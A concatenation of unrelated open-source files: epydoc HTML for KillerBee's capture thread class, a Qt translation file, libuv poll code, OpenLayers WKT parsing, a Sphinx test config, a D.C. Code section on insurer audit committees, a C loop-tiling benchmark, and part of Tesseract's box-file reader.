href="killerbee.zbwardrive.capture-pysrc.html#CaptureThread.__init__">source&nbsp;code</a></span> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type">&nbsp;</span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="killerbee.zbwardrive.capture.CaptureThread-class.html#run" class="summary-sig-name">run</a>(<span class="summary-sig-arg">self</span>)</span></td> <td align="right" valign="top"> <span class="codelink"><a href="killerbee.zbwardrive.capture-pysrc.html#CaptureThread.run">source&nbsp;code</a></span> </td> </tr> </table> </td> </tr> <tr> <td colspan="2" class="summary"> <p class="indent-wrapped-lines"><b>Inherited from <code>threading.Thread</code></b>: <code>__repr__</code>, <code>getName</code>, <code>isAlive</code>, <code>isDaemon</code>, <code>is_alive</code>, <code>join</code>, <code>setDaemon</code>, <code>setName</code>, <code>start</code> </p> <div class="private"> <p class="indent-wrapped-lines"><b>Inherited from <code>threading.Thread</code></b> (private): <code>_reset_internal_locks</code>, <code>_set_daemon</code>, <code>_set_ident</code> </p></div> <div class="private"> <p class="indent-wrapped-lines"><b>Inherited from <code>threading._Verbose</code></b> (private): <code>_note</code> </p></div> <p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>: <code>__delattr__</code>, <code>__format__</code>, <code>__getattribute__</code>, <code>__hash__</code>, <code>__new__</code>, <code>__reduce__</code>, <code>__reduce_ex__</code>, <code>__setattr__</code>, <code>__sizeof__</code>, <code>__str__</code>, <code>__subclasshook__</code> </p> </td> </tr> </table> <!-- ==================== PROPERTIES ==================== --> <a name="section-Properties"></a> <table class="summary" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td colspan="2" class="table-header"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr valign="top"> <td align="left"><span class="table-header">Properties</span></td> <td align="right" valign="top" ><span class="options">[<a href="#section-Properties" class="privatelink" onclick="toggle_private();" >hide private</a>]</span></td> </tr> </table> </td> </tr> <tr> <td colspan="2" class="summary"> <p class="indent-wrapped-lines"><b>Inherited from <code>threading.Thread</code></b>: <code>daemon</code>, <code>ident</code>, <code>name</code> </p> <div class="private"> <p class="indent-wrapped-lines"><b>Inherited from <code>threading.Thread</code></b> (private): <code>_block</code> </p></div> <p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>: <code>__class__</code> </p> </td> </tr> </table> <!-- ==================== METHOD DETAILS ==================== --> <a name="section-MethodDetails"></a> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td colspan="2" class="table-header"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr valign="top"> <td align="left"><span class="table-header">Method Details</span></td> <td align="right" valign="top" ><span class="options">[<a href="#section-MethodDetails" class="privatelink" onclick="toggle_private();" >hide private</a>]</span></td> </tr> </table> </td> </tr> </table> <a name="__init__"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">__init__</span>(<span class="sig-arg">self</span>, <span class="sig-arg">channel</span>, <span class="sig-arg">devstring</span>, <span class="sig-arg">trigger</span>, <span class="sig-arg">dblog</span>=<span class="sig-default">False</span>, <span class="sig-arg">gps</span>=<span class="sig-default">None</span>)</span> <br /><em class="fname">(Constructor)</em> </h3> </td><td align="right" valign="top" ><span class="codelink"><a href="killerbee.zbwardrive.capture-pysrc.html#CaptureThread.__init__">source&nbsp;code</a></span>&nbsp; </td> </tr></table> <p>x.__init__(...) initializes x; see help(type(x)) for signature</p> <dl class="fields"> <dt>Overrides: object.__init__ <dd><em class="note">(inherited documentation)</em></dd> </dt> </dl> </td></tr></table> </div> <a name="run"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">run</span>(<span class="sig-arg">self</span>)</span> </h3> </td><td align="right" valign="top" ><span class="codelink"><a href="killerbee.zbwardrive.capture-pysrc.html#CaptureThread.run">source&nbsp;code</a></span>&nbsp; </td> </tr></table> <dl class="fields"> <dt>Overrides: threading.Thread.run </dt> </dl> </td></tr></table> </div> <br /> <!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th>&nbsp;&nbsp;&nbsp;<a href="killerbee-module.html">Home</a>&nbsp;&nbsp;&nbsp;</th> <!-- Tree link --> <th>&nbsp;&nbsp;&nbsp;<a href="module-tree.html">Trees</a>&nbsp;&nbsp;&nbsp;</th> <!-- Index link --> <th>&nbsp;&nbsp;&nbsp;<a href="identifier-index.html">Indices</a>&nbsp;&nbsp;&nbsp;</th> <!-- Help link --> <th>&nbsp;&nbsp;&nbsp;<a href="help.html">Help</a>&nbsp;&nbsp;&nbsp;</th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="http://code.google.com/p/killerbee/">KillerBee</a></th> </tr></table></th> </tr> </table> <table border="0" cellpadding="0" cellspacing="0" width="100%%"> <tr> <td align="left" class="footer"> Generated by Epydoc 3.0.1 on Mon Dec 30 17:49:12 2013 </td> <td align="right" class="footer"> <a target="mainFrame" href="http://epydoc.sourceforge.net" >http://epydoc.sourceforge.net</a> </td> </tr> </table> <script type="text/javascript"> <!-- // Private objects are initially displayed (because if // javascript is turned off then we want them to be // visible); but by default, we want to hide them. So hide // them unless we have a cookie that says to show them. checkCookie(); // --> </script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE TS> <TS version="2.1" language="sg_CF" sourcelanguage="en_US"> <context> <name>PowerDevice</name> <message> <location filename="../powerdevice.ui" line="14"/> <source>Form</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.ui" line="79"/> <source>TextLabel</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="58"/> <source>Charging</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="69"/> <source>Full</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="80"/> <source>Discharging</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="108"/> <source>Connected</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="110"/> <source>Disconnected</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerdevice.cpp" line="127"/> <source>Power Device</source> <translation type="unfinished"></translation> </message> </context> <context> <name>PowerPane</name> <message> <location filename="../powerpane.ui" line="40"/> <location filename="../powerpane.cpp" line="97"/> <source>Power</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerpane.ui" line="105"/> <source>SCREEN BRIGHTNESS</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerpane.ui" line="168"/> <source>Power Stretch</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerpane.ui" line="181"/> <source>POWER STRETCH</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerpane.ui" line="188"/> <source>Running low on power? Turn on Power Stretch to stretch out your battery to last as long as possible.</source> <translation type="unfinished"></translation> </message> <message> <location filename="../powerpane.ui" line="236"/> <source>DEVICES</source> <translation type="unfinished"></translation> </message> </context> </TS>
{ "pile_set_name": "Github" }
/* Copyright Joyent, Inc. and other Node contributors. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #include "uv.h" #include "internal.h" #include <unistd.h> #include <assert.h> #include <errno.h> static void uv__poll_io(uv_loop_t* loop, uv__io_t* w, unsigned int events) { uv_poll_t* handle; int pevents; handle = container_of(w, uv_poll_t, io_watcher); if (events & UV__POLLERR) { uv__io_stop(loop, w, UV__POLLIN | UV__POLLOUT); uv__handle_stop(handle); handle->poll_cb(handle, -EBADF, 0); return; } pevents = 0; if (events & UV__POLLIN) pevents |= UV_READABLE; if (events & UV__POLLOUT) pevents |= UV_WRITABLE; handle->poll_cb(handle, 0, pevents); } int uv_poll_init(uv_loop_t* loop, uv_poll_t* handle, int fd) { int err; err = uv__nonblock(fd, 1); if (err) return err; uv__handle_init(loop, (uv_handle_t*) handle, UV_POLL); uv__io_init(&handle->io_watcher, uv__poll_io, fd); handle->poll_cb = NULL; return 0; } int uv_poll_init_socket(uv_loop_t* loop, uv_poll_t* handle, uv_os_sock_t socket) { return uv_poll_init(loop, handle, socket); } static void uv__poll_stop(uv_poll_t* handle) { uv__io_stop(handle->loop, &handle->io_watcher, UV__POLLIN | UV__POLLOUT); uv__handle_stop(handle); } int uv_poll_stop(uv_poll_t* handle) { assert(!(handle->flags & (UV_CLOSING | UV_CLOSED))); uv__poll_stop(handle); return 0; } int uv_poll_start(uv_poll_t* handle, int pevents, uv_poll_cb poll_cb) { int events; assert((pevents & ~(UV_READABLE | UV_WRITABLE)) == 0); assert(!(handle->flags & (UV_CLOSING | UV_CLOSED))); uv__poll_stop(handle); if (pevents == 0) return 0; events = 0; if (pevents & UV_READABLE) events |= UV__POLLIN; if (pevents & UV_WRITABLE) events |= UV__POLLOUT; uv__io_start(handle->loop, &handle->io_watcher, events); uv__handle_start(handle); handle->poll_cb = poll_cb; return 0; } void uv__poll_close(uv_poll_t* handle) { uv__poll_stop(handle); }
{ "pile_set_name": "Github" }
/* Copyright (c) 2006-2011 by OpenLayers Contributors (see authors.txt for * full list of contributors). Published under the Clear BSD license. * See http://svn.openlayers.org/trunk/openlayers/license.txt for the * full text of the license. */ /** * @requires OpenLayers/Format.js * @requires OpenLayers/Feature/Vector.js */ /** * Class: OpenLayers.Format.WKT * Class for reading and writing Well-Known Text. Create a new instance * with the <OpenLayers.Format.WKT> constructor. * * Inherits from: * - <OpenLayers.Format> */ OpenLayers.Format.WKT = OpenLayers.Class(OpenLayers.Format, { /** * Constructor: OpenLayers.Format.WKT * Create a new parser for WKT * * Parameters: * options - {Object} An optional object whose properties will be set on * this instance * * Returns: * {<OpenLayers.Format.WKT>} A new WKT parser. */ initialize: function(options) { this.regExes = { 'typeStr': /^\s*(\w+)\s*\(\s*(.*)\s*\)\s*$/, 'spaces': /\s+/, 'parenComma': /\)\s*,\s*\(/, 'doubleParenComma': /\)\s*\)\s*,\s*\(\s*\(/, // can't use {2} here 'trimParens': /^\s*\(?(.*?)\)?\s*$/ }; OpenLayers.Format.prototype.initialize.apply(this, [options]); }, /** * Method: read * Deserialize a WKT string and return a vector feature or an * array of vector features. Supports WKT for POINT, MULTIPOINT, * LINESTRING, MULTILINESTRING, POLYGON, MULTIPOLYGON, and * GEOMETRYCOLLECTION. * * Parameters: * wkt - {String} A WKT string * * Returns: * {<OpenLayers.Feature.Vector>|Array} A feature or array of features for * GEOMETRYCOLLECTION WKT. */ read: function(wkt) { var features, type, str; wkt = wkt.replace(/[\n\r]/g, " "); var matches = this.regExes.typeStr.exec(wkt); if(matches) { type = matches[1].toLowerCase(); str = matches[2]; if(this.parse[type]) { features = this.parse[type].apply(this, [str]); } if (this.internalProjection && this.externalProjection) { if (features && features.CLASS_NAME == "OpenLayers.Feature.Vector") { features.geometry.transform(this.externalProjection, this.internalProjection); } else if (features && type != "geometrycollection" && typeof features == "object") { for (var i=0, len=features.length; i<len; i++) { var component = features[i]; component.geometry.transform(this.externalProjection, this.internalProjection); } } } } return features; }, /** * Method: write * Serialize a feature or array of features into a WKT string. * * Parameters: * features - {<OpenLayers.Feature.Vector>|Array} A feature or array of * features * * Returns: * {String} The WKT string representation of the input geometries */ write: function(features) { var collection, geometry, type, data, isCollection; if (features.constructor == Array) { collection = features; isCollection = true; } else { collection = [features]; isCollection = false; } var pieces = []; if (isCollection) { pieces.push('GEOMETRYCOLLECTION('); } for (var i=0, len=collection.length; i<len; ++i) { if (isCollection && i>0) { pieces.push(','); } geometry = collection[i].geometry; pieces.push(this.extractGeometry(geometry)); } if (isCollection) { pieces.push(')'); } return pieces.join(''); }, /** * Method: extractGeometry * Entry point to construct the WKT for a single Geometry object. * * Parameters: * geometry - {<OpenLayers.Geometry.Geometry>} * * Returns: * {String} A WKT string of representing the geometry */ extractGeometry: function(geometry) { var type = geometry.CLASS_NAME.split('.')[2].toLowerCase(); if (!this.extract[type]) { return null; } if (this.internalProjection && this.externalProjection) { geometry = geometry.clone(); geometry.transform(this.internalProjection, this.externalProjection); } var wktType = type == 'collection' ? 'GEOMETRYCOLLECTION' : type.toUpperCase(); var data = wktType + '(' + this.extract[type].apply(this, [geometry]) + ')'; return data; }, /** * Object with properties corresponding to the geometry types. * Property values are functions that do the actual data extraction. */ extract: { /** * Return a space delimited string of point coordinates. * @param {<OpenLayers.Geometry.Point>} point * @returns {String} A string of coordinates representing the point */ 'point': function(point) { return point.x + ' ' + point.y; }, /** * Return a comma delimited string of point coordinates from a multipoint. * @param {<OpenLayers.Geometry.MultiPoint>} multipoint * @returns {String} A string of point coordinate strings representing * the multipoint */ 'multipoint': function(multipoint) { var array = []; for(var i=0, len=multipoint.components.length; i<len; ++i) { array.push('(' + this.extract.point.apply(this, [multipoint.components[i]]) + ')'); } return array.join(','); }, /** * Return a comma delimited string of point coordinates from a line. * @param {<OpenLayers.Geometry.LineString>} linestring * @returns {String} A string of point coordinate strings representing * the linestring */ 'linestring': function(linestring) { var array = []; for(var i=0, len=linestring.components.length; i<len; ++i) { array.push(this.extract.point.apply(this, [linestring.components[i]])); } return array.join(','); }, /** * Return a comma delimited string of linestring strings from a multilinestring. * @param {<OpenLayers.Geometry.MultiLineString>} multilinestring * @returns {String} A string of of linestring strings representing * the multilinestring */ 'multilinestring': function(multilinestring) { var array = []; for(var i=0, len=multilinestring.components.length; i<len; ++i) { array.push('(' + this.extract.linestring.apply(this, [multilinestring.components[i]]) + ')'); } return array.join(','); }, /** * Return a comma delimited string of linear ring arrays from a polygon. * @param {<OpenLayers.Geometry.Polygon>} polygon * @returns {String} An array of linear ring arrays representing the polygon */ 'polygon': function(polygon) { var array = []; for(var i=0, len=polygon.components.length; i<len; ++i) { array.push('(' + this.extract.linestring.apply(this, [polygon.components[i]]) + ')'); } return array.join(','); }, /** * Return an array of polygon arrays from a multipolygon. * @param {<OpenLayers.Geometry.MultiPolygon>} multipolygon * @returns {String} An array of polygon arrays representing * the multipolygon */ 'multipolygon': function(multipolygon) { var array = []; for(var i=0, len=multipolygon.components.length; i<len; ++i) { array.push('(' + this.extract.polygon.apply(this, [multipolygon.components[i]]) + ')'); } return array.join(','); }, /** * Return the WKT portion between 'GEOMETRYCOLLECTION(' and ')' for an <OpenLayers.Geometry.Collection> * @param {<OpenLayers.Geometry.Collection>} collection * @returns {String} internal WKT representation of the collection */ 'collection': function(collection) { var array = []; for(var i=0, len=collection.components.length; i<len; ++i) { array.push(this.extractGeometry.apply(this, [collection.components[i]])); } return array.join(','); } }, /** * Object with properties corresponding to the geometry types. * Property values are functions that do the actual parsing. */ parse: { /** * Return point feature given a point WKT fragment. * @param {String} str A WKT fragment representing the point * @returns {<OpenLayers.Feature.Vector>} A point feature * @private */ 'point': function(str) { var coords = OpenLayers.String.trim(str).split(this.regExes.spaces); return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.Point(coords[0], coords[1]) ); }, /** * Return a multipoint feature given a multipoint WKT fragment. * @param {String} A WKT fragment representing the multipoint * @returns {<OpenLayers.Feature.Vector>} A multipoint feature * @private */ 'multipoint': function(str) { var point; var points = OpenLayers.String.trim(str).split(','); var components = []; for(var i=0, len=points.length; i<len; ++i) { point = points[i].replace(this.regExes.trimParens, '$1'); components.push(this.parse.point.apply(this, [point]).geometry); } return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.MultiPoint(components) ); }, /** * Return a linestring feature given a linestring WKT fragment. * @param {String} A WKT fragment representing the linestring * @returns {<OpenLayers.Feature.Vector>} A linestring feature * @private */ 'linestring': function(str) { var points = OpenLayers.String.trim(str).split(','); var components = []; for(var i=0, len=points.length; i<len; ++i) { components.push(this.parse.point.apply(this, [points[i]]).geometry); } return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.LineString(components) ); }, /** * Return a multilinestring feature given a multilinestring WKT fragment. * @param {String} A WKT fragment representing the multilinestring * @returns {<OpenLayers.Feature.Vector>} A multilinestring feature * @private */ 'multilinestring': function(str) { var line; var lines = OpenLayers.String.trim(str).split(this.regExes.parenComma); var components = []; for(var i=0, len=lines.length; i<len; ++i) { line = lines[i].replace(this.regExes.trimParens, '$1'); components.push(this.parse.linestring.apply(this, [line]).geometry); } return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.MultiLineString(components) ); }, /** * Return a polygon feature given a polygon WKT fragment. * @param {String} A WKT fragment representing the polygon * @returns {<OpenLayers.Feature.Vector>} A polygon feature * @private */ 'polygon': function(str) { var ring, linestring, linearring; var rings = OpenLayers.String.trim(str).split(this.regExes.parenComma); var components = []; for(var i=0, len=rings.length; i<len; ++i) { ring = rings[i].replace(this.regExes.trimParens, '$1'); linestring = this.parse.linestring.apply(this, [ring]).geometry; linearring = new OpenLayers.Geometry.LinearRing(linestring.components); components.push(linearring); } return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.Polygon(components) ); }, /** * Return a multipolygon feature given a multipolygon WKT fragment. * @param {String} A WKT fragment representing the multipolygon * @returns {<OpenLayers.Feature.Vector>} A multipolygon feature * @private */ 'multipolygon': function(str) { var polygon; var polygons = OpenLayers.String.trim(str).split(this.regExes.doubleParenComma); var components = []; for(var i=0, len=polygons.length; i<len; ++i) { polygon = polygons[i].replace(this.regExes.trimParens, '$1'); components.push(this.parse.polygon.apply(this, [polygon]).geometry); } return new OpenLayers.Feature.Vector( new OpenLayers.Geometry.MultiPolygon(components) ); }, /** * Return an array of features given a geometrycollection WKT fragment. * @param {String} A WKT fragment representing the geometrycollection * @returns {Array} An array of OpenLayers.Feature.Vector * @private */ 'geometrycollection': function(str) { // separate components of the collection with | str = str.replace(/,\s*([A-Za-z])/g, '|$1'); var wktArray = OpenLayers.String.trim(str).split('|'); var components = []; for(var i=0, len=wktArray.length; i<len; ++i) { components.push(OpenLayers.Format.WKT.prototype.read.apply(this,[wktArray[i]])); } return components; } }, CLASS_NAME: "OpenLayers.Format.WKT" });
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <test> <name>naive guess about the block index</name> <config> indexer { mem_limit = 16M } searchd { <searchd_settings/> } source src { type = mysql <sql_settings/> sql_query = SELECT * FROM test_table sql_attr_uint = tag } index idx { source = src path = <data_path/>/main } </config> <queries> <query index="idx" mode="extended2" sortby="tag DESC" >one</query> <!-- Will fail on naive guess that the very last item of block index is the item of the whole index. Since actually we have the block index 1 item shorter, then naive guessing, the last item will be zero, and the rule of excluding the whole index on filtering will be applied, since no filter value lag into interval (0,0) --> <query index="idx" mode="extended2" sortby="tag DESC" filter="tag" filter_value="200">one</query> </queries> <db_create> CREATE TABLE `test_table` ( `document_id` int(11) NOT NULL default '0', `tag` int(11) NOT NULL default '0', `body` varchar(255) NOT NULL default '' ) </db_create> <db_insert>INSERT INTO test_table VALUES ( 1,1,'' ), ( 2,2,'' ), ( 3,3,'' ), ( 4,4,'' )</db_insert> <db_insert>INSERT INTO test_table SELECT document_id+4, tag+4, body FROM test_table</db_insert> <db_insert>INSERT INTO test_table SELECT document_id+8, tag+8, body FROM test_table</db_insert> <db_insert>INSERT INTO test_table SELECT document_id+16, tag+16, body FROM test_table</db_insert> <db_insert>INSERT INTO test_table SELECT document_id+32, tag+32, body FROM test_table</db_insert> <db_insert>INSERT INTO test_table SELECT document_id+64, tag+64, body FROM test_table</db_insert> <!-- There must be at least 128 empty values to force the block index to be 1 item less --> <db_insert>INSERT INTO test_table VALUES ( 200,200,'one' ), ( 201,201,'one two' ), ( 202,202,'one three' ), ( 203,203,'one four' )</db_insert> <db_drop>DROP TABLE IF EXISTS test_table</db_drop> </test>
{ "pile_set_name": "Github" }
<?xml version='1.0' encoding='utf-8'?> <section xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" containing-doc="D.C. Code"> <num>31-405</num> <heading>Audit committee.</heading> <text>Every controlled insurer shall have an audit committee of the board of directors composed of independent directors. The audit committee shall annually meet with management, the insurer’s independent certified public accountants, and an independent casualty actuary, or other independent loss reserve specialist acceptable to the Mayor, to review the adequacy of the insurer’s loss reserves.</text> <annotations> <annotation doc="D.C. Law 10-52" type="History" path="§6">Oct. 21, 1993, D.C. Law 10-52, § 6, 40 DCR 6129</annotation> <annotation type="Prior Codifications">1981 Ed., § 35-4005.</annotation> <annotation type="Section References">This section is referenced in <cite path="§31-403">§ 31-403</cite>.</annotation> </annotations> </section>
{ "pile_set_name": "Github" }
#include <stdio.h> #include <stdlib.h> #include <time.h> typedef struct test_timer_t_ { struct timespec start; struct timespec stop; long delta; } * test_timer_t; test_timer_t timer_build() { return malloc(sizeof(struct test_timer_t_)); } void timer_start(test_timer_t timer) { if (timer == NULL) return; clock_gettime(CLOCK_REALTIME, &(timer->start)); } void timer_stop (test_timer_t timer) { if (timer == NULL) return; clock_gettime(CLOCK_REALTIME, &(timer->stop)); timer->delta = (timer->stop.tv_nsec - timer->start.tv_nsec) / 1000000; if (timer->delta > 0) timer->delta += (timer->stop.tv_sec - timer->start.tv_sec) * 1000; else timer->delta = (timer->stop.tv_sec - timer->start.tv_sec) * 1000 - timer->delta; } float ** create_array(int n, int m) { float ** a = malloc(n * sizeof(float *)); float * a_ = malloc(n * m * sizeof(float)); int i, j; for (i = 0; i < n; i++) { a[i] = a_ + i * m; for (j = 0; j < m; j++) { a[i][j] = i+j; } } return a; } void free_array(float ** a) { free(a[0]); free(a); } void kernel_0(int n, int m, float ** A, float b) { int i, j; #pragma tilek kernel data(A[0:n][0:m]) num_threads(8) { #pragma tilek loop tile[0](thread) tile[1](dynamic) for (i = 0; i < n; i++) #pragma tilek loop tile[2](dynamic) for (j = 0; j < m; j++) A[i][j]+=b; } } void kernel_1(int n, int m, float ** A, float b) { int i, j; #pragma tilek kernel data(A[0:n][0:m]) num_threads(8) { #pragma tilek loop tile[0](dynamic) tile[1](thread) for (i = 0; i < n; i++) #pragma tilek loop tile[2](dynamic) for (j = 0; j < m; j++) A[i][j]+=b; } } void kernel_2(int n, int m, float ** A, float b) { int i, j; #pragma tilek kernel data(A[0:n][0:m]) num_threads(8) { #pragma tilek loop tile[0](dynamic) for (i = 0; i < n; i++) #pragma tilek loop tile[1](thread) tile[2](dynamic) for (j = 0; j < m; j++) A[i][j]+=b; } } void kernel_3(int n, int m, float ** A, float b) { int i, j; #pragma tilek kernel data(A[0:n][0:m]) num_threads(8) { #pragma tilek loop tile[0](dynamic) for (i = 0; i < n; i++) #pragma tilek loop tile[1](dynamic) tile[2](thread) for (j = 0; j < m; j++) A[i][j]+=b; } } int main() { const int n = 16 * 1024; const int m = 16 * 1024; float ** a; test_timer_t timer = timer_build(); { timer_start(timer); a = create_array(n, m); kernel_0(n, m, a, 3.5); free_array(a); timer_stop(timer); printf("#0 : %d\n", timer->delta); } { timer_start(timer); a = create_array(n, m); kernel_1(n, m, a, 3.5); free_array(a); timer_stop(timer); printf("#1 : %d\n", timer->delta); } { timer_start(timer); a = create_array(n, m); kernel_2(n, m, a, 3.5); free_array(a); timer_stop(timer); printf("#2 : %d\n", timer->delta); } { timer_start(timer); a = create_array(n, m); kernel_3(n, m, a, 3.5); free_array(a); timer_stop(timer); printf("#3 : %d\n", timer->delta); } return 0; }
{ "pile_set_name": "Github" }
/********************************************************************** * File: boxread.cpp * Description: Read data from a box file. * Author: Ray Smith * Created: Fri Aug 24 17:47:23 PDT 2007 * * (C) Copyright 2007, Google Inc. ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** http://www.apache.org/licenses/LICENSE-2.0 ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. * **********************************************************************/ #include "boxread.h" #include <string.h> #include "fileerr.h" #include "rect.h" #include "strngs.h" #include "tprintf.h" #include "unichar.h" // Special char code used to identify multi-blob labels. static const char* kMultiBlobLabelCode = "WordStr"; // Open the boxfile based on the given image filename. FILE* OpenBoxFile(const STRING& fname) { STRING filename = BoxFileName(fname); FILE* box_file = NULL; if (!(box_file = fopen(filename.string(), "rb"))) { CANTOPENFILE.error("read_next_box", TESSEXIT, "Can't open box file %s", filename.string()); } return box_file; } // Reads all boxes from the given filename. // Reads a specific target_page number if >= 0, or all pages otherwise. // Skips blanks if skip_blanks is true. // The UTF-8 label of the box is put in texts, and the full box definition as // a string is put in box_texts, with the corresponding page number in pages. // Each of the output vectors is optional (may be NULL). // Returns false if no boxes are found. bool ReadAllBoxes(int target_page, bool skip_blanks, const STRING& filename, GenericVector<TBOX>* boxes, GenericVector<STRING>* texts, GenericVector<STRING>* box_texts, GenericVector<int>* pages) { GenericVector<char> box_data; if (!tesseract::LoadDataFromFile(BoxFileName(filename), &box_data)) return false; return ReadMemBoxes(target_page, skip_blanks, &box_data[0], boxes, texts, box_texts, pages); } // Reads all boxes from the string. Otherwise, as ReadAllBoxes. bool ReadMemBoxes(int target_page, bool skip_blanks, const char* box_data, GenericVector<TBOX>* boxes, GenericVector<STRING>* texts, GenericVector<STRING>* box_texts, GenericVector<int>* pages) { STRING box_str(box_data); GenericVector<STRING> lines; box_str.split('\n', &lines); if (lines.empty()) return false; int num_boxes = 0; for (int i = 0; i < lines.size(); ++i) { int page = 0; STRING utf8_str; TBOX box; if (!ParseBoxFileStr(lines[i].string(), &page, &utf8_str, &box)) { continue; } if (skip_blanks && (utf8_str == " " || utf8_str == "\t")) continue; if (target_page >= 0 && page != target_page) continue; if (boxes != NULL) boxes->push_back(box); if (texts != NULL) texts->push_back(utf8_str); if (box_texts != NULL) { STRING full_text; MakeBoxFileStr(utf8_str.string(), box, target_page, &full_text); box_texts->push_back(full_text); } if (pages != NULL) pages->push_back(page); ++num_boxes; } return num_boxes > 0; } // Returns the box file name corresponding to the given image_filename. STRING BoxFileName(const STRING& image_filename) { STRING box_filename = image_filename; const char *lastdot = strrchr(box_filename.string(), '.'); if (lastdot != NULL) box_filename.truncate_at(lastdot - box_filename.string()); box_filename += ".box"; return box_filename; } // TODO(rays) convert all uses of ReadNextBox to use the new ReadAllBoxes. // Box files are used ONLY DURING TRAINING, but by both processes of // creating tr files with tesseract, and unicharset_extractor. // ReadNextBox factors out the code to interpret a line of a box // file so that applybox and unicharset_extractor interpret the same way. // This function returns the next valid box file utf8 string and coords // and returns true, or false on eof (and closes the file). // It ignores the utf8 file signature ByteOrderMark (U+FEFF=EF BB BF), checks // for valid utf-8 and allows space or tab between fields. // utf8_str is set with the unichar string, and bounding box with the box. // If there are page numbers in the file, it reads them all. bool ReadNextBox(int *line_number, FILE* box_file, STRING* utf8_str, TBOX* bounding_box) { return ReadNextBox(-1, line_number, box_file, utf8_str, bounding_box); } // As ReadNextBox above, but get a specific page number. (0-based) // Use -1 to read any page number. Files without page number all // read as if they are page 0. bool ReadNextBox(int target_page, int *line_number, FILE* box_file, STRING* utf8_str, TBOX* bounding_box) { int page = 0; char buff[kBoxReadBufSize]; // boxfile read buffer char *buffptr = buff; while (fgets(buff, sizeof(buff) - 1, box_file)) { (*line_number)++; buffptr = buff; const unsigned char *ubuf = reinterpret_cast<const unsigned char*>(buffptr); if (ubuf[0] == 0xef && ubuf[1] == 0xbb && ubuf[2] == 0xbf) buffptr += 3; // Skip unicode file designation. // Check for blank lines in box file if (*buffptr == '\n' || *buffptr == '\0') continue; // Skip blank boxes. if (*buffptr == ' ' || *buffptr == '\t') continue; if (*buffptr != '\0') { if (!ParseBoxFileStr(buffptr, &page, utf8_str, bounding_box)) { tprintf("Box file format error on line %i; ignored\n", *line_number); continue; } if (target_page >= 0 && target_page != page) continue; // Not on the appropriate page. return true; // Successfully read a box. } } fclose(box_file); return false; // EOF } // Parses the given box file string into a page_number, utf8_str, and // bounding_box. Returns true on a successful parse. // The box file is assumed to contain box definitions, one per line, of the // following format for blob-level boxes: // <UTF8 str> <left> <bottom> <right> <top> <page id> // and for word/line-level boxes: // WordStr <left> <bottom> <right> <top> <page id> #<space-delimited word str> // See applyybox.cpp for more information. bool ParseBoxFileStr(const char* boxfile_str, int* page_number, STRING* 